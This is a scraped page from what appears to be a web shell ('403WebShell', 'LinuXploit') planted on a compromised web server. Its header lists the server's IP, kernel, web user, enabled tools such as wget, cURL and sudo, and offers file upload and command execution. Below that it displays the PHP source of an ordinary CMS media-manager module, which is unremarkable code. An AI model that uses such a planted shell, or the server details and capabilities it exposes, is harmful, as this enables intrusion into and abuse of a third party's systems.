Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kjvdictionary_store/modules/mediaManager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kjvdictionary_store/modules/mediaManager/main.php
<?php

namespace modules\mediaManager;

class main extends \moduleMain {

	private $active = FALSE;

	use \modules\input\traits {
			\modules\input\traits::__construct as __ConstructInput;
		}
	use \modules\output\traits {
			\modules\output\traits::__construct as __ConstructOutput;
		}

	private $useIcon;
	
	public function __construct() {
		parent::__construct(__DIR__);
		$this->__ConstructInput();
		$this->__ConstructOutput();
	}

	public function Activate() {
		hook_add('module.enable', [$this, '__module_enable']);				// enable or disable a module
		hook_add('component.add', [$this, '__component']);
		hook_add('html.prepare', [$this, '__html_prepare']);
		hook_add('html.footer', [$this, '__html_footer']);
		hook_add('mediamanager.validate', [$this, '__validate']);			// adds thumbnails and icons.  filedata needs hash and mimetype
		hook_add('mediamanager.thumbnail', [$this, '__thumbnail']);			// retrieve a thumbnail of a media file in specified size (creates if missing)
		hook_add('mediamanager.image', [$this, '__image']);					// retrieve content-type, imagedata and filename 
		hook_add('menu.admin', [$this, '__admin_menu'], 9);
		hook_add('fieldlist.filter', [ $this, '__custom_field' ], 1);
		hook_add('fieldlist.icon.html', [ $this, '__field_icon_html' ]);	// generate code for 'icon'-type fields
		hook_add('fieldlist.icon.save', [ $this, '__field_icon_save' ]);	// save data for an 'icon'-type field
		hook_add('mediamanager.list', [$this, '__listImage']);					// list images in a folder
	}

	public function __module_enable($module_name, $enable) {
		if ($module_name == 'mediaManager' && $enable) {
			mkdir(HOME . '/' . $this->settings['media_folder'], 0777, TRUE);
			mkdir(HOME . '/' . $this->settings['thumb_folder'], 0777, TRUE);
		}
	}

	public function __custom_field(&$result) {
		$this->useIcon = FALSE;
	}
	
	public function __field_icon_html(&$field) {
		
		$field['type'] = 'custom';
		// current icon - this has both the binary data, and the original source location (relative to media folder)
		$value = $field['value'] ?? '';
		[ $filename, $content ] = explode('|', $value, 2);
		$elements = pathinfo($filename);
		$ext = strtolower($elements['extension']);
		if ($content == '') $ext = 'txt';

		switch($ext) {
			case 'svg':
				$image = base64_decode($content);
				break;

			case 'png':
				$image = "<img src=\"data:image/png;base64,$content\">";
				break;

			case 'ico':
				$image = "<img src=\"data:image/vnd.microsoft.icon;base64,$content\">";
				break;

			case 'jpg':
				$image = "<img src=\"data:image/jpeg;base64,$content\">";
				break;
				
			case 'txt':
				$image = '(missing)';
				break;
			
			default:
				$image = "<i class=\"{{iconclass}}\"></i>";
				// default to a placeholder icon
				break;
		}
		
		$safevalue = htmlspecialchars($filename);		// this is just the filename - the content will be reloaded on submission
		$safename =  htmlspecialchars($elements['basename']);
		
		// this will display our special popup
		$field['custom'] = <<<BLOCK
<div class="controls input-frame">
	<a class="bind-iconselect icon-preview json-request" href="/~/favicon/icon-select" title="click to select icon">
		{$image}
	</a><span class="iconname">
		{$safename}
	</span>
	<input type="hidden" name="{$field['name']}" value="{$safevalue}">
</div>

BLOCK;

		if (!$this->useIcon) {		// we have at least 1 icon field - include all the handlebars, etc
			$this->useIcon = TRUE;
			hook_execute('component.add', FALSE, 'contextMenu');
			hook_execute('component.add', FALSE, 'mediaManager');
//	src="/admin/media"
			$content = <<<BLOCK
<div class="bind-media medium-icons"
	src="{{basedir}}"
	ajax="/~/mediamanager/upload"
	data-folder="{{folder}}"
	config='{"popup":1}'
	onselect="mediamanager_select"
></div>

BLOCK;
			$id = $this->IncludeTemplate('icon_popup');
			$id->html($content);
		}
	}
	
	public function __field_icon_save(&$defaultvalue, &$fieldinfo, $newvalue) {
		$defaultvalue = trim($newvalue, '/');
		// load the icon - add it to the defaultvalue
		$model = $this->LoadModel('mediamanager_model');
		$model	->BaseFolder($this->settings['media_folder'])
				->ThumbFolder($this->settings['thumb_folder'])
				->LoadAssets()
				->IncludeThumb(2)
				->Filename($defaultvalue);
		if (!is_null($model->NODE)) {
			$node = $model->NODE;
			$fieldinfo['mime'] = $node['mime'];
			if (isset($node['svg'])) {
				$defaultvalue = '/' . $defaultvalue . '|' . base64_encode($node['svg']);
			} else {
				$defaultvalue = '/' . $defaultvalue . '|' . base64_encode($node['data']);
			}
		}

	}

	public function __admin_menu(&$menu) {
		if ($GLOBALS['loader']->isModuleActive('mediaManager', TRUE)) {
		// only add menu only if the module is enabled
		$menu[] = [
				'caption' 	=> 'Media Library', 
				'href' 		=> '/admin/media', 
				'hint' 		=> 'Media Library',
				'icon' 		=> '<i class="fas fa-photo-video"></i>',
				's' 		=> 0,
			];
		}
	}
	
	public function __component(&$status, $requested) {
		if ($requested == 'mediaManager') {
			$this->active = TRUE;
			$status = TRUE;
		}
	}

	public function __html_prepare($modulemain) {
		if ($this->active) {
			$base = $modulemain->StaticUriModule(__DIR__);
			$modulemain->IncludeFile("$base/media-manager.css");
			$modulemain->IncludeFile("$base/media-manager.js")->depends('jquery');
		}
	}
	
	public function __html_footer(&$output) {
		if ($this->active) {
			$output .= '<div class="popup-mediamanager" style="display:none"></div>';
		}
	}
	
	public function __validate(&$data) {
		$model = $this->LoadModel('mediamanager_model');
		$model	->BaseFolder($this->settings['media_folder'])
				->ThumbFolder($this->settings['thumb_folder'])
				->UpdateImageData($data);
	}

	// data->name  		= source image filename
	// data->width 		= requested thumbnail width
	// data->refresh	= rebuild the thumb
	public function __thumbnail(&$data) {
		if (is_object($data)) {
			$model = $this->LoadModel('mediamanager_model');
			$model	->BaseFolder($this->settings['media_folder'])
					->ThumbFolder($this->settings['thumb_folder']);
			$data->image = $model->loadThumbnail(
				$data->name, 
				empty($data->width) ? 98 : $data->width, 
				$data->refresh ?? 0
			);
		}
	}

	// data->name  		= source image filename
	// for storeImage, this will be the md5 hash
	public function __image(&$data) {
		if (is_object($data)) {
			$model = $this->LoadModel('mediamanager_model');
			$model	->BaseFolder($this->settings['media_folder'])
					->ThumbFolder($this->settings['thumb_folder'])
					->Filename($data->name, 1);
			if (!is_null($model->NODE)) {
				$data->mime = $model->NODE['mime'];
				$data->image = $model->NODE['data'];
			} else {
				$data->mime = 'text/plain';
				$data->image = 'Not Found';
			}
			$filename = $model->Filename();
			$basename = pathinfo($filename, PATHINFO_BASENAME);
		}
	}

	private function partialDownload($model) {
		$filename   = $model->Filename();
		$basename   = pathinfo($filename, PATHINFO_BASENAME);
		$sourcefile = $model->NODE['source'];
		
        if (file_exists($sourcefile)) {
			$mimetype   = $model->NODE['mime'];
            try {
                $text = get_request_header('Range');
                $rangeHeader = \RangeHeader::createFromHeaderString($text);      // regexp has been changed in this function
                (new \PartialFileServlet($rangeHeader))->sendFile($sourcefile, $mimetype, $basename);
            } catch (\InvalidRangeHeaderException $e) {
                header("HTTP/1.1 400 Bad Request");
            } catch (\UnsatisfiableRangeException $e) {
                header("HTTP/1.1 416 Range Not Satisfiable");
            } catch (\NonExistentFileException $e) {
                header("HTTP/1.1 404 Not Found");
            } catch (\UnreadableFileException $e) {
                header("HTTP/1.1 500 Internal Server Error");
            }
            exit;
        } else {
            header('Content-Type: text/plain');
            die("File not found\n");
        }
	}

	private function rangeDownload($sourcefile) {
        if (file_exists($sourcefile)) {
			$mimetype   = mime_content_type($sourcefile);
			$basename   = pathinfo($sourcefile, PATHINFO_BASENAME);

            try {
                $text = get_request_header('Range');
                $rangeHeader = \RangeHeader::createFromHeaderString($text);      // regexp has been changed in this function
                (new \PartialFileServlet($rangeHeader))->sendFile($sourcefile, $mimetype, $basename);
            } catch (\InvalidRangeHeaderException $e) {
                header("HTTP/1.1 400 Bad Request");
            } catch (\UnsatisfiableRangeException $e) {
                header("HTTP/1.1 416 Range Not Satisfiable");
            } catch (\NonExistentFileException $e) {
                header("HTTP/1.1 404 Not Found");
            } catch (\UnreadableFileException $e) {
                header("HTTP/1.1 500 Internal Server Error");
            }
            exit;
        } else {
            header('Content-Type: text/plain');
            die("File not found\n");
        }
	}

	
	// {filenameonos}[/{displayfilename}]
	final function image() {
        while (ob_get_level() > 0) {
			ob_end_flush();
		}
		session_write_close();
		
		$download = $this->param('alt', '') == 'media';
		
		$model = $this->LoadModel('mediamanager_model');
		$model	->BaseFolder($this->settings['media_folder'])
				->ThumbFolder($this->settings['thumb_folder'])
				->LoadAssets()
				->Filename(func_get_args(), 1);

		if (!is_null($model->NODE) && !isset($model->NODE['data'])) {
			return $this->partialDownload($model);

		} elseif (!is_null($model->NODE) && $model->NODE['mime'] == 'video/mp4' ) {		// a non-virtual video - download it directly
			return $this->rangeDownload($model->NODE['source']);	
			
		} elseif (!is_null($model->NODE)) {
			$mime = $model->NODE['mime'];
			$image = $model->NODE['data'];
			
		} else {
			$mime = 'text/plain';
			$image = 'Not Found';
		}
		$filename = $model->Filename();
		$basename = pathinfo($filename, PATHINFO_BASENAME);

		header("Content-type: {$mime}");
		if ($download) {
			header("Content-Disposition: attachment; filename=\"{$basename}\"");
		} else {
			header("Content-Disposition: inline; filename=\"{$basename}\"");
		}
		die($image);
	}
	
	final function upload() {
		$model = $this->LoadModel('mediamanager_model');
		$directory = \MediaManagerModel::getDirectory(func_get_args());
		$md5 = hook_execute( 'nonce.verify', FALSE, 'mediaact', FALSE, $this->param('auth', '') );
		$desired_md5 = md5($directory);
		if ($md5 != $desired_md5) {
			return [
				'result' => 5,
				'message' => 'Upload is not authorized',
				'actual' => $md5,
				'expected' => $desired_md5,
				'folder' => $directory,
			];
		}

		$model	->BaseFolder($this->settings['media_folder'])
				->ThumbFolder($this->settings['thumb_folder']);


		// update filesystem. if php or python file uploaded, change extension
		$output = [];
		foreach($_FILES as $key => $filedata) {
			$originalname = $filedata['name'];
			$temp_name = $filedata['tmp_name'];
			$output[] = $model->uploadFile($directory, $temp_name, $originalname, $_GET);
		}

		$data = [
			'result'	=> -9999,
			'message'	=> 'This is a testing',
			'md5'		=> $md5,
			'res' 		=> $output,
		];
		// redisplay folder contents
		header('Content-type: application/json');
		die(json_encode($data, JSON_UNESCAPED_SLASHES));
	}
	
	final function context() {
		$model = $this->LoadModel('mediamanager_model');
		$directory =  \MediaManagerModel::getDirectory(func_get_args());
		$directory = str_replace('//', '/', $directory);
		if (substr($directory, 0, 1) != '/') $directory = '/' . $directory;
		$timezoneOffset = $this->param('ofs', 0);
		$select = intval($this->param('select', 0));		// if select, we also need to include thumbnail (or svg for thumbnail)
		$default = intval($this->param('default', 0));		// only the default action is required
		$md5 = hook_execute( 'nonce.verify', FALSE, 'mediaitm', FALSE, $this->param('auth', '') );
		$desired_md5 = md5('media:' . $directory);
		if ($md5 != $desired_md5) {
			return [
				'result' 	=> 5,
				'message'	=> 'ContextMenu is not authorized [1]',
				'dir'		=> $directory,
			];
		}
		$filename = hook_execute('media.filename', func_get_args());		// map virtual filename to physical - eg product images

		$model	->BaseFolder($this->settings['media_folder'])
				->ThumbFolder($this->settings['thumb_folder'])
				->LoadAssets()
				->IncludeThumb(TRUE)
				->Filename($filename);

		$data = $model->getContextMenu($timezoneOffset, $select, $default);
		header('Content-type: application/json');
		die(json_encode($data, JSON_UNESCAPED_SLASHES));
	}
	
	final function act() {
		$model = $this->LoadModel('mediamanager_model');
		$elements = func_get_args();
		$action = array_shift($elements);
		
		$directory = \MediaManagerModel::getDirectory($elements);
		$directory = str_replace('//', '/', $directory);
		if (substr($directory, 0, 1) != '/') $directory = '/' . $directory;
		$auth = $this->param('auth', '');
		if ($auth == '') $auth = $this->post('auth', '');
		$md5 = hook_execute( 'nonce.verify', FALSE, 'mediaitm', FALSE, $auth );
		$desired_md5 = md5('media:' . $directory);
		if ($md5 != $desired_md5) {
			return [
				'result' => 5,
				'message' => 'ContextMenu is not authorized [2]',
			];
		}
		$data = [
			'result' => 69121,
			'message' => 'Unsupported action',
		];
		
		$model	->BaseFolder($this->settings['media_folder'])
				->ThumbFolder($this->settings['thumb_folder'])
				->LoadAssets()
				->Filename($elements);
		
		switch($action) {
			case 'url':
				$hostname = $this->hostname(TRUE);
				$data = $model->contextUrl($hostname);
				break;

			case 'ren':
				$data = $model->contextRename();
				break;

			case 'rename':
				$newname = $this->post('file', '');
				$hash = $this->post('hash', '');
				$data = $model->performRename($newname, $hash);
				break;

			case 'dup':
				$data = $model->contextDuplicate();
				break;

			case 'perm':
				break;
		}
		header('Content-type: application/json');
		die(json_encode($data, JSON_UNESCAPED_SLASHES));
	}

	public function __listImage(&$result, $folder) {
		$model = $this->LoadModel('mediamanager_model');
		$model->BaseFolder($this->settings['media_folder'])
				->ThumbFolder($this->settings['thumb_folder'])
				->LoadAssets();
		$info = $model->listImages($folder);
		if (empty($result)) $result = [];
		$result = array_merge($result, $info);
	}

	public function listImages($folder) {
		$output = [];
		return $output;
	}
	
}


Youez - 2016 - github.com/yon3zu
LinuXploit